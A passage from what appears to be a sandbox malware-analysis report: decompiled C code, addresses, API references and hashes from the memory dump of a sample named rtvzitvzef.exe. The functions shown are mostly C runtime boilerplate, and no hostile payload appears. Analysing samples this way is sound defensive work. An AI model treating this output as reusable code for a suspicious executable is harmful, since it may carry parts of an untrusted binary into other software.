          								_t83 = 1;
          								_v5 = 1;
          								_t111 = _t61;
          								if(_t111 < 0) {
          									_v16 = 0;
          									L13:
          									_push(_t96);
          									E00401D20(_t77, _t89, _t93, _t96, _v12);
          									goto L14;
          								} else {
          									if(_t111 > 0) {
          										_t62 = _a4;
          										__eflags =  *_t62 - 0xe06d7363;
          										if( *_t62 == 0xe06d7363) {
          											__eflags =  *0x411248;
          											if(__eflags != 0) {
          												_t72 = E00410990(__eflags, 0x411248);
          												_t104 = _t104 + 4;
          												__eflags = _t72;
          												if(_t72 != 0) {
          													_t98 =  *0x411248; // 0x401f30
          													 *0x4111f0(_a4, 1);
          													 *_t98();
          													_t96 = _v20;
          													_t104 = _t104 + 8;
          												}
          												_t62 = _a4;
          											}
          										}
          										_t90 = _t62;
          										E00402380(_t62, _a8, _t62);
          										_t64 = _a8;
          										__eflags =  *((intOrPtr*)(_t64 + 0xc)) - _t93;
          										if( *((intOrPtr*)(_t64 + 0xc)) != _t93) {
          											_t90 = _t93;
          											E004023A0(_t64, _t93, _t96, 0x418014);
          											_t64 = _a8;
          										}
          										_push(_t96);
          										 *((intOrPtr*)(_t64 + 0xc)) = _t77;
          										E00401D20(_t77, _t90, _t93, _t96, _v12);
          										_t86 =  *((intOrPtr*)(_v24 + 8));
          										E00402360();
          										asm("int3");
          										_t66 = E004024F1();
          										__eflags = _t66;
          										if(_t66 != 0) {
          											_t67 = E004024A3(_t86);
          											__eflags = _t67;
          											if(_t67 != 0) {
          												return 1;
          											} else {
          												E0040252D();
          												goto L24;
          											}
          										} else {
          											L24:
          											__eflags = 0;
          											return 0;
          										}
          									} else {
          										goto L7;
          									}
          								}
          							}
          							goto L28;
          							L7:
          							_t93 = _t77;
          						} while (_t77 != 0xfffffffe);
          						if(_t83 != 0) {
          							goto L13;
          						}
          						goto L14;
          					}
          				}
          				L28:
          			}






























          0x00401d60
          0x00401d67
          0x00401d6b
          0x00401d6c
          0x00401d72
          0x00401d7e
          0x00401d80
          0x00401d86
          0x00401d86
          0x00401d8f
          0x00401d91
          0x00401d94
          0x00401d97
          0x00401d9f
          0x00401da4
          0x00401da7
          0x00401daa
          0x00401db1
          0x00401e0d
          0x00401e10
          0x00401e18
          0x00401e1f
          0x00000000
          0x00401e1f
          0x00000000
          0x00401db3
          0x00401db3
          0x00401db9
          0x00401dbf
          0x00401dc5
          0x00401e30
          0x00401e39
          0x00401dc7
          0x00401dc7
          0x00401dc7
          0x00401dcd
          0x00401dd0
          0x00401dd3
          0x00401dd6
          0x00401dd9
          0x00401dde
          0x00401df4
          0x00000000
          0x00401de0
          0x00401de0
          0x00401de2
          0x00401de7
          0x00401de9
          0x00401dec
          0x00401dee
          0x00401e04
          0x00401e24
          0x00401e24
          0x00401e28
          0x00000000
          0x00401df0
          0x00401df0
          0x00401e3a
          0x00401e3d
          0x00401e43
          0x00401e45
          0x00401e4c
          0x00401e53
          0x00401e58
          0x00401e5b
          0x00401e5d
          0x00401e5f
          0x00401e6c
          0x00401e72
          0x00401e74
          0x00401e77
          0x00401e77
          0x00401e7a
          0x00401e7a
          0x00401e4c
          0x00401e80
          0x00401e82
          0x00401e87
          0x00401e8a
          0x00401e8d
          0x00401e95
          0x00401e99
          0x00401e9e
          0x00401e9e
          0x00401ea1
          0x00401ea5
          0x00401ea8
          0x00401eb5
          0x00401eb8
          0x00401ebd
          0x00401ebe
          0x00401ec3
          0x00401ec5
          0x00401eca
          0x00401ecf
          0x00401ed1
          0x00401edc
          0x00401ed3
          0x00401ed3
          0x00000000
          0x00401ed3
          0x00401ec7
          0x00401ec7
          0x00401ec7
          0x00401ec9
          0x00401ec9
          0x00401df2
          0x00000000
          0x00401df2
          0x00401df0
          0x00401dee
          0x00000000
          0x00401df7
          0x00401df7
          0x00401df9
          0x00401e00
          0x00000000
          0x00401e02
          0x00000000
          0x00401e00
          0x00401dc5
          0x00000000

          APIs
          • _ValidateLocalCookies.LIBCMT ref: 00401D97
          • ___except_validate_context_record.LIBVCRUNTIME ref: 00401D9F
          • _ValidateLocalCookies.LIBCMT ref: 00401E28
          • __IsNonwritableInCurrentImage.LIBCMT ref: 00401E53
          • _ValidateLocalCookies.LIBCMT ref: 00401EA8
          Strings
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
          • String ID: csm
          • API String ID: 1170836740-1018135373
          • Opcode ID: 5853fecd5551d68b8231a05582defb087287b744298f9fe8d297d29845485331
          • Instruction ID: 6ef646e612ac45c7e77e97ed302a33c9d1442d7dd7cb3af8627288e3f0e9caaf
          • Opcode Fuzzy Hash: 5853fecd5551d68b8231a05582defb087287b744298f9fe8d297d29845485331
          • Instruction Fuzzy Hash: BF41B630A002089BCF10DF69C884A9EBBB5BF45318F14817AED14BB3E2D779A945CBD5
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E0040AC14(void* __ecx, signed int* _a4, intOrPtr _a8) {
          				signed int _v8;
          				void* _t20;
          				void* _t22;
          				WCHAR* _t26;
          				signed int _t29;
          				void** _t30;
          				signed int* _t35;
          				void* _t38;
          				void* _t40;
          
          				_t35 = _a4;
          				while(_t35 != _a8) {
          					_t29 =  *_t35;
          					_v8 = _t29;
          					_t38 =  *(0x419230 + _t29 * 4);
          					if(_t38 == 0) {
          						_t26 =  *(0x412b30 + _t29 * 4);
          						_t38 = LoadLibraryExW(_t26, 0, 0x800);
          						if(_t38 != 0) {
          							L14:
          							_t30 = 0x419230 + _v8 * 4;
          							 *_t30 = _t38;
          							if( *_t30 != 0) {
          								FreeLibrary(_t38);
          							}
          							L16:
          							_t20 = _t38;
          							L13:
          							return _t20;
          						}
          						_t22 = GetLastError();
          						if(_t22 != 0x57) {
          							L9:
          							 *(0x419230 + _v8 * 4) = _t22 | 0xffffffff;
          							L10:
          							_t35 =  &(_t35[1]);
          							continue;
          						}
          						_t22 = E00406308(_t26, L"api-ms-", 7);
          						_t40 = _t40 + 0xc;
          						if(_t22 == 0) {
          							goto L9;
          						}
          						_t22 = E00406308(_t26, L"ext-ms-", 7);
          						_t40 = _t40 + 0xc;
          						if(_t22 == 0) {
          							goto L9;
          						}
          						_t22 = LoadLibraryExW(_t26, _t38, _t38);
          						_t38 = _t22;
          						if(_t38 != 0) {
          							goto L14;
          						}
          						goto L9;
          					}
          					if(_t38 != 0xffffffff) {
          						goto L16;
          					}
          					goto L10;
          				}
          				_t20 = 0;
          				goto L13;
          			}












          0x0040ac1d
          0x0040acb2
          0x0040ac25
          0x0040ac27
          0x0040ac31
          0x0040ac36
          0x0040ac43
          0x0040ac58
          0x0040ac5c
          0x0040acc2
          0x0040acc7
          0x0040acce
          0x0040acd2
          0x0040acd5
          0x0040acd5
          0x0040acdb
          0x0040acdb
          0x0040acbd
          0x0040acc1
          0x0040acc1
          0x0040ac5e
          0x0040ac67
          0x0040aca0
          0x0040acad
          0x0040acaf
          0x0040acaf
          0x00000000
          0x0040acaf
          0x0040ac71
          0x0040ac76
          0x0040ac7b
          0x00000000
          0x00000000
          0x0040ac85
          0x0040ac8a
          0x0040ac8f
          0x00000000
          0x00000000
          0x0040ac94
          0x0040ac9a
          0x0040ac9e
          0x00000000
          0x00000000
          0x00000000
          0x0040ac9e
          0x0040ac3b
          0x00000000
          0x00000000
          0x00000000
          0x0040ac41
          0x0040acbb
          0x00000000

          APIs
          • FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,A3964780,?,0040AD23,?,00000040,00000000,?), ref: 0040ACD5
          Strings
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: FreeLibrary
          • String ID: api-ms-$ext-ms-
          • API String ID: 3664257935-537541572
          • Opcode ID: 1e41e8e084f44416e7fc46dfab0bc2685af7dd9261567f4ce6f1825b991d48dc
          • Instruction ID: 611442bef351d9fd720cb4668506806d26cc55d3d9c032183dd6a6f5382d3974
          • Opcode Fuzzy Hash: 1e41e8e084f44416e7fc46dfab0bc2685af7dd9261567f4ce6f1825b991d48dc
          • Instruction Fuzzy Hash: D021D831A04310ABEB219B21DD40AAB37689B45764F260536E906B73D0D73CED11C6EE
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 82%
          			E00402411(void* __ecx) {
          				void* _t8;
          				void* _t11;
          				void* _t13;
          				void* _t14;
          				void* _t18;
          				void* _t23;
          				long _t24;
          				void* _t27;
          
          				_t13 = __ecx;
          				if( *0x418020 != 0xffffffff) {
          					_t24 = GetLastError();
          					_t11 = E004026F4(_t13,  *0x418020);
          					_t14 = _t23;
          					if(_t11 == 0xffffffff) {
          						L5:
          						_t11 = 0;
          					} else {
          						if(_t11 == 0) {
          							if(E0040272F(_t14,  *0x418020, 0xffffffff) != 0) {
          								_push(0x28);
          								_t27 = E00406282();
          								_t18 = 1;
          								if(_t27 == 0) {
          									L8:
          									_t11 = 0;
          									E0040272F(_t18,  *0x418020, 0);
          								} else {
          									_t8 = E0040272F(_t18,  *0x418020, _t27);
          									_pop(_t18);
          									if(_t8 != 0) {
          										_t11 = _t27;
          										_t27 = 0;
          									} else {
          										goto L8;
          									}
          								}
          								E004061BE(_t27);
          							} else {
          								goto L5;
          							}
          						}
          					}
          					SetLastError(_t24);
          					return _t11;
          				} else {
          					return 0;
          				}
          			}











          0x00402411
          0x00402418
          0x0040242b
          0x00402432
          0x00402434
          0x00402438
          0x00402451
          0x00402451
          0x0040243a
          0x0040243c
          0x0040244f
          0x00402456
          0x0040245f
          0x00402462
          0x00402465
          0x00402479
          0x00402479
          0x00402482
          0x00402467
          0x0040246e
          0x00402474
          0x00402477
          0x0040248b
          0x0040248d
          0x00000000
          0x00000000
          0x00000000
          0x00402477
          0x00402490
          0x00000000
          0x00000000
          0x00000000
          0x0040244f
          0x0040243c
          0x00402498
          0x004024a2
          0x0040241a
          0x0040241c
          0x0040241c

          APIs
          • GetLastError.KERNEL32(?,?,00402408,004020DC,00401948), ref: 0040241F
          • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040242D
          • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00402446
          • SetLastError.KERNEL32(00000000,00402408,004020DC,00401948), ref: 00402498
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: ErrorLastValue___vcrt_
          • String ID:
          • API String ID: 3852720340-0
          • Opcode ID: 684fce33a2afe8652c06ef2917e87edb54eca84d7017755fe4f2d0745960b01c
          • Instruction ID: 8cbd38a898f6fb395fa32175277b1369e61c4e3f8d2db3b60c7e08ca7fe3f351
          • Opcode Fuzzy Hash: 684fce33a2afe8652c06ef2917e87edb54eca84d7017755fe4f2d0745960b01c
          • Instruction Fuzzy Hash: 770124325093226EE62467B5AE8DAAB3F56EB08378721423FF914B12F1EFF94C05514C
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E00408EFC(intOrPtr* _a4, intOrPtr _a8, void* _a12, intOrPtr _a16) {
          				void* _t15;
          				void* _t16;
          				intOrPtr _t18;
          				intOrPtr _t38;
          				intOrPtr* _t40;
          				intOrPtr _t41;
          
          				_t40 = _a4;
          				if(_t40 != 0) {
          					if( *_t40 != 0) {
          						_t15 = E00409A30(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
          						if(_t15 != 0) {
          							_t38 = _a8;
          							if(_t15 <=  *((intOrPtr*)(_t38 + 0xc))) {
          								L10:
          								_t16 = E00408D53(_a16, _t40,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)));
          								if(_t16 != 0) {
          									 *((intOrPtr*)(_t38 + 0x10)) = _t16 - 1;
          									_t18 = 0;
          								} else {
          									E00407B10(GetLastError());
          									_t18 =  *((intOrPtr*)(E00407B6A()));
          								}
          								L13:
          								L14:
          								return _t18;
          							}
          							_t18 = E00408FBE(_t38, _t15);
          							if(_t18 != 0) {
          								goto L13;
          							}
          							goto L10;
          						}
          						E00407B10(GetLastError());
          						_t18 =  *((intOrPtr*)(E00407B6A()));
          						goto L14;
          					}
          					_t41 = _a8;
          					if( *((intOrPtr*)(_t41 + 0xc)) != 0) {
          						L5:
          						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = 0;
          						_t18 = 0;
          						 *((intOrPtr*)(_t41 + 0x10)) = 0;
          						goto L14;
          					}
          					_t18 = E00408FBE(_t41, 1);
          					if(_t18 != 0) {
          						goto L14;
          					}
          					goto L5;
          				}
          				E00408FE5(_a8);
          				return 0;
          			}









          0x00408f02
          0x00408f07
          0x00408f1e
          0x00408f50
          0x00408f5a
          0x00408f73
          0x00408f79
          0x00408f87
          0x00408f94
          0x00408f9b
          0x00408fb4
          0x00408fb7
          0x00408f9d
          0x00408fa4
          0x00408faf
          0x00408faf
          0x00408fb9
          0x00408fba
          0x00000000
          0x00408fba
          0x00408f7e
          0x00408f85
          0x00000000
          0x00000000
          0x00000000
          0x00408f85
          0x00408f63
          0x00408f6e
          0x00000000
          0x00408f6e
          0x00408f20
          0x00408f26
          0x00408f39
          0x00408f3c
          0x00408f3e
          0x00408f40
          0x00000000
          0x00408f40
          0x00408f2c
          0x00408f33
          0x00000000
          0x00000000
          0x00000000
          0x00408f33
          0x00408f0c
          0x00000000

          Strings
          • C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe, xrefs: 00408F18
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID:
          • String ID: C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe
          • API String ID: 0-18877817
          • Opcode ID: 638bf804aa9e11a3a9ed9b700c92c7b04de1b824e523500f8c48dab4bc0f804a
          • Instruction ID: 20814d24466359e2355320ce1a3709a5b694d9d3995fe727daaa17cac18d48d2
          • Opcode Fuzzy Hash: 638bf804aa9e11a3a9ed9b700c92c7b04de1b824e523500f8c48dab4bc0f804a
          • Instruction Fuzzy Hash: AE218331604116AFDB10AF718A4086BB76AAF44368710853EF995B72D1EF38EC418799
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 25%
          			E00405907(intOrPtr _a4) {
          				char _v16;
          				signed int _v20;
          				signed int _t11;
          				int _t14;
          				void* _t16;
          				void* _t20;
          				int _t22;
          				signed int _t23;
          
          				_t11 =  *0x418014; // 0xa3964780
          				 *[fs:0x0] =  &_v16;
          				_v20 = _v20 & 0x00000000;
          				_t14 =  &_v20;
          				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t14, _t11 ^ _t23, _t20, _t16,  *[fs:0x0], 0x410e5f, 0xffffffff);
          				if(_t14 != 0) {
          					_t14 = GetProcAddress(_v20, "CorExitProcess");
          					_t22 = _t14;
          					if(_t22 != 0) {
          						 *0x4111f0(_a4);
          						_t14 =  *_t22();
          					}
          				}
          				if(_v20 != 0) {
          					_t14 = FreeLibrary(_v20);
          				}
          				 *[fs:0x0] = _v16;
          				return _t14;
          			}











          0x0040591c
          0x00405927
          0x0040592d
          0x00405931
          0x0040593c
          0x00405944
          0x0040594e
          0x00405954
          0x00405958
          0x0040595f
          0x00405965
          0x00405965
          0x00405958
          0x0040596b
          0x00405970
          0x00405970
          0x00405979
          0x00405983

          APIs
          • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,A3964780,00416678,?,00000000,00410E5F,000000FF,?,004058E3,FFFFFFFE,?,004058B7,?), ref: 0040593C
          • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040594E
          • FreeLibrary.KERNEL32(00000000,?,00000000,00410E5F,000000FF,?,004058E3,FFFFFFFE,?,004058B7,?), ref: 00405970
          Strings
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: AddressFreeHandleLibraryModuleProc
          • String ID: CorExitProcess$mscoree.dll
          • API String ID: 4061214504-1276376045
          • Opcode ID: b85781b925cd3f6e4a9e5fac7271b78291b87634337c369aaa8fc80064bd98db
          • Instruction ID: 0c8a8b7403f6a5ffc10fc8bc87357ce44426d05b1674744c2793e53712d4bdfd
          • Opcode Fuzzy Hash: b85781b925cd3f6e4a9e5fac7271b78291b87634337c369aaa8fc80064bd98db
          • Instruction Fuzzy Hash: DA01A771900619EBDB118F50DC05BEFBBB9FB08B54F004536EA11A26E0DB789900CE94
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 58%
          			E0040DA04(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
          				signed int _v8;
          				intOrPtr _v12;
          				void* _v24;
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				signed int _t40;
          				intOrPtr _t45;
          				signed int _t48;
          				void* _t51;
          				signed int _t55;
          				intOrPtr _t64;
          				intOrPtr _t69;
          				void* _t72;
          				intOrPtr _t73;
          				intOrPtr _t89;
          				void* _t90;
          				intOrPtr* _t92;
          				void* _t94;
          				intOrPtr* _t95;
          				signed int _t96;
          				void* _t97;
          				intOrPtr* _t98;
          				intOrPtr* _t100;
          				void* _t103;
          
          				_push(__ecx);
          				_push(__ecx);
          				_t40 =  *0x418014; // 0xa3964780
          				_v8 = _t40 ^ _t96;
          				_t89 = _a20;
          				if(_t89 > 0) {
          					_t69 = E0040E7A2(_a16, _t89);
          					_t103 = _t69 - _t89;
          					_t4 = _t69 + 1; // 0x1
          					_t89 = _t4;
          					if(_t103 >= 0) {
          						_t89 = _t69;
          					}
          				}
          				_t71 = _a32;
          				if(_a32 == 0) {
          					_t71 =  *((intOrPtr*)( *_a4 + 8));
          					_a32 =  *((intOrPtr*)( *_a4 + 8));
          				}
          				_t45 = E00409976(_t71, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t89, 0, 0);
          				_t98 = _t97 + 0x18;
          				_v12 = _t45;
          				if(_t45 == 0) {
          					L38:
          					_pop(_t90);
          					_pop(_t94);
          					_pop(_t72);
          					return E00401BE5(_t45, _t72, _v8 ^ _t96, 0x400, _t90, _t94);
          				} else {
          					_t16 = _t45 + _t45 + 8; // 0x8
          					asm("sbb eax, eax");
          					_t48 = _t45 + _t45 & _t16;
          					if(_t48 == 0) {
          						_t95 = 0;
          						L36:
          						_t73 = 0;
          						L37:
          						E0040A7F2(_t95);
          						_t45 = _t73;
          						goto L38;
          					}
          					if(_t48 > 0x400) {
          						_t95 = E0040A6A3(_t48);
          						if(_t95 == 0) {
          							goto L36;
          						}
          						 *_t95 = 0xdddd;
          						L12:
          						if(_t95 == 0) {
          							goto L36;
          						}
          						_t51 = E00409976(_t71, 1, _a16, _t89, _t95, _v12);
          						_t100 = _t98 + 0x18;
          						if(_t51 == 0) {
          							goto L36;
          						}
          						_t91 = _v12;
          						_t73 = E0040AF6A(_a8, _a12, _t95, _v12, 0, 0, 0, 0, 0);
          						if(_t73 == 0) {
          							goto L36;
          						}
          						if((_a12 & 0x00000400) == 0) {
          							_t30 = _t73 + _t73 + 8; // 0x8
          							asm("sbb eax, eax");
          							_t55 = _t73 + _t73 & _t30;
          							if(_t55 == 0) {
          								_t92 = 0;
          								L34:
          								E0040A7F2(_t92);
          								goto L36;
          							}
          							if(_t55 > 0x400) {
          								_t92 = E0040A6A3(_t55);
          								if(_t92 == 0) {
          									goto L34;
          								}
          								 *_t92 = 0xdddd;
          								L26:
          								_t92 = _t92 + 8;
          								if(_t92 == 0 || E0040AF6A(_a8, _a12, _t95, _v12, _t92, _t73, 0, 0, 0) == 0) {
          									goto L34;
          								} else {
          									_push(0);
          									_push(0);
          									if(_a28 != 0) {
          										_push(_a28);
          										_push(_a24);
          									} else {
          										_push(0);
          										_push(0);
          									}
          									_push(_t73);
          									_push(_t92);
          									_push(0);
          									_push(_a32);
          									_t73 = E00409A30();
          									if(_t73 == 0) {
          										goto L34;
          									} else {
          										E0040A7F2(_t92);
          										goto L37;
          									}
          								}
          							}
          							E00410C20(_t55);
          							_t92 = _t100;
          							if(_t92 == 0) {
          								goto L34;
          							}
          							 *_t92 = 0xcccc;
          							goto L26;
          						}
          						_t64 = _a28;
          						if(_t64 == 0) {
          							goto L37;
          						}
          						if(_t73 > _t64) {
          							goto L36;
          						}
          						_t73 = E0040AF6A(_a8, _a12, _t95, _t91, _a24, _t64, 0, 0, 0);
          						if(_t73 != 0) {
          							goto L37;
          						}
          						goto L36;
          					}
          					E00410C20(_t48);
          					_t95 = _t98;
          					if(_t95 == 0) {
          						goto L36;
          					}
          					 *_t95 = 0xcccc;
          					goto L12;
          				}
          			}




























          0x0040da09
          0x0040da0a
          0x0040da0b
          0x0040da12
          0x0040da18
          0x0040da1d
          0x0040da23
          0x0040da29
          0x0040da2c
          0x0040da2c
          0x0040da2f
          0x0040da31
          0x0040da31
          0x0040da2f
          0x0040da33
          0x0040da38
          0x0040da3f
          0x0040da42
          0x0040da42
          0x0040da5e
          0x0040da63
          0x0040da66
          0x0040da6b
          0x0040dbe1
          0x0040dbe4
          0x0040dbe5
          0x0040dbe6
          0x0040dbf2
          0x0040da71
          0x0040da73
          0x0040da78
          0x0040da7a
          0x0040da7c
          0x0040dbd4
          0x0040dbd6
          0x0040dbd6
          0x0040dbd8
          0x0040dbd9
          0x0040dbdf
          0x00000000
          0x0040dbdf
          0x0040da87
          0x0040daa6
          0x0040daab
          0x00000000
          0x00000000
          0x0040dab1
          0x0040dab7
          0x0040dabc
          0x00000000
          0x00000000
          0x0040dacd
          0x0040dad2
          0x0040dad7
          0x00000000
          0x00000000
          0x0040dadd
          0x0040daf4
          0x0040daf8
          0x00000000
          0x00000000
          0x0040db06
          0x0040db43
          0x0040db48
          0x0040db4a
          0x0040db4c
          0x0040dbc9
          0x0040dbcb
          0x0040dbcc
          0x00000000
          0x0040dbd1
          0x0040db50
          0x0040db6b
          0x0040db70
          0x00000000
          0x00000000
          0x0040db72
          0x0040db78
          0x0040db78
          0x0040db7d
          0x00000000
          0x0040db99
          0x0040db9b
          0x0040db9c
          0x0040dba0
          0x0040dbc1
          0x0040dbc4
          0x0040dba2
          0x0040dba2
          0x0040dba3
          0x0040dba3
          0x0040dba4
          0x0040dba5
          0x0040dba6
          0x0040dba7
          0x0040dbaf
          0x0040dbb6
          0x00000000
          0x0040dbb8
          0x0040dbb9
          0x00000000
          0x0040dbbe
          0x0040dbb6
          0x0040db7d
          0x0040db52
          0x0040db57
          0x0040db5b
          0x00000000
          0x00000000
          0x0040db5d
          0x00000000
          0x0040db5d
          0x0040db08
          0x0040db0d
          0x00000000
          0x00000000
          0x0040db15
          0x00000000
          0x00000000
          0x0040db31
          0x0040db35
          0x00000000
          0x00000000
          0x00000000
          0x0040db3b
          0x0040da89
          0x0040da8e
          0x0040da92
          0x00000000
          0x00000000
          0x0040da98
          0x00000000
          0x0040da98

          APIs
          • __alloca_probe_16.LIBCMT ref: 0040DA89
          • __alloca_probe_16.LIBCMT ref: 0040DB52
          • __freea.LIBCMT ref: 0040DBB9
            • Part of subcall function 0040A6A3: HeapAlloc.KERNEL32(00000000,00409475,?,?,00409475,00000220,?,00000000,?), ref: 0040A6D5
          • __freea.LIBCMT ref: 0040DBCC
          • __freea.LIBCMT ref: 0040DBD9
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: __freea$__alloca_probe_16$AllocHeap
          • String ID:
          • API String ID: 1096550386-0
          • Opcode ID: 82afe60a9887c0abd65ff5de17f291167fb994eb203d4a956d5339fce2fd6815
          • Instruction ID: 5d70aef8a5c4d59e68ccac4d83b3032b04bfc896b12cb9bc470d8a1540507576
          • Opcode Fuzzy Hash: 82afe60a9887c0abd65ff5de17f291167fb994eb203d4a956d5339fce2fd6815
          • Instruction Fuzzy Hash: E551F572A0020A6BDB205EA58C81EBB37B9EF44314B16453EFD05F6281FB7CEC548669
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 63%
          			E004042F7(void* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
          				signed int _v8;
          				intOrPtr _v12;
          				signed int _v16;
          				intOrPtr _v20;
          				char _v24;
          				signed int _v28;
          				intOrPtr _v32;
          				signed int _v36;
          				signed int _v40;
          				signed int _t78;
          				signed int _t80;
          				char _t81;
          				intOrPtr* _t82;
          				void* _t86;
          				signed int _t88;
          				signed int _t91;
          				void* _t92;
          				void* _t93;
          				intOrPtr _t96;
          				signed char _t100;
          				signed char _t103;
          				signed char _t109;
          				intOrPtr _t110;
          				intOrPtr _t114;
          				intOrPtr _t115;
          				intOrPtr _t117;
          				intOrPtr _t118;
          				intOrPtr _t124;
          				signed int _t125;
          				signed int _t126;
          				signed int _t130;
          				signed int _t131;
          				intOrPtr _t135;
          				intOrPtr _t136;
          				intOrPtr _t139;
          				intOrPtr _t140;
          
          				_t1 =  &_a4; // 0x40474b
          				_t78 = E004065AB( *_t1);
          				_v36 = _t78;
          				_t130 = _t78 >> 6;
          				_t80 = (_t78 & 0x0000003f) * 0x38;
          				_v40 = _t130;
          				_t117 =  *((intOrPtr*)(0x418ec0 + _t130 * 4));
          				_v32 = _t117;
          				_v28 = _t80;
          				_v16 = 0;
          				_t81 =  *((intOrPtr*)(_t117 + _t80 + 0x29));
          				_v24 = _t81;
          				if(_t81 != 1) {
          					_v12 = 1;
          				} else {
          					_t140 = 2;
          					_v12 = _t140;
          				}
          				_t82 = _a4;
          				_t118 =  *((intOrPtr*)(_t82 + 8));
          				_v20 = _t118;
          				if(_t118 != 0) {
          					_t135 = _v32;
          					asm("cdq");
          					_v8 = _t130;
          					asm("cdq");
          					_t122 =  *_t82 -  *((intOrPtr*)(_t82 + 4)) + _v20;
          					_t85 = _v8;
          					_v20 =  *_t82 -  *((intOrPtr*)(_t82 + 4)) + _v20;
          					asm("adc eax, edx");
          					_t131 = _v28;
          					__eflags =  *((char*)(_t135 + _t131 + 0x28));
          					_t136 = _v12;
          					if( *((char*)(_t135 + _t131 + 0x28)) < 0) {
          						_t137 = _v36;
          						_t86 = E004068B6(_v36, 0, 0, 2, _a24);
          						__eflags = _t86 - _a8;
          						if(_t86 != _a8) {
          							L14:
          							_t88 = E004068B6(_t137, _a8, _a12, 0, _a24) & _t131;
          							_t131 = _t131 | 0xffffffff;
          							__eflags = _t88 - _t131;
          							if(_t88 != _t131) {
          								__eflags = _v8;
          								if(__eflags > 0) {
          									L22:
          									asm("cdq");
          									_v8 =  *((intOrPtr*)(_a4 + 0x18));
          									L23:
          									_t91 = _v28;
          									_t124 =  *((intOrPtr*)(0x418ec0 + _v40 * 4));
          									__eflags =  *(_t91 + _t124 + 0x28) & 0x00000004;
          									if(( *(_t91 + _t124 + 0x28) & 0x00000004) == 0) {
          										_t125 = _v8;
          										L29:
          										_t114 = _v12;
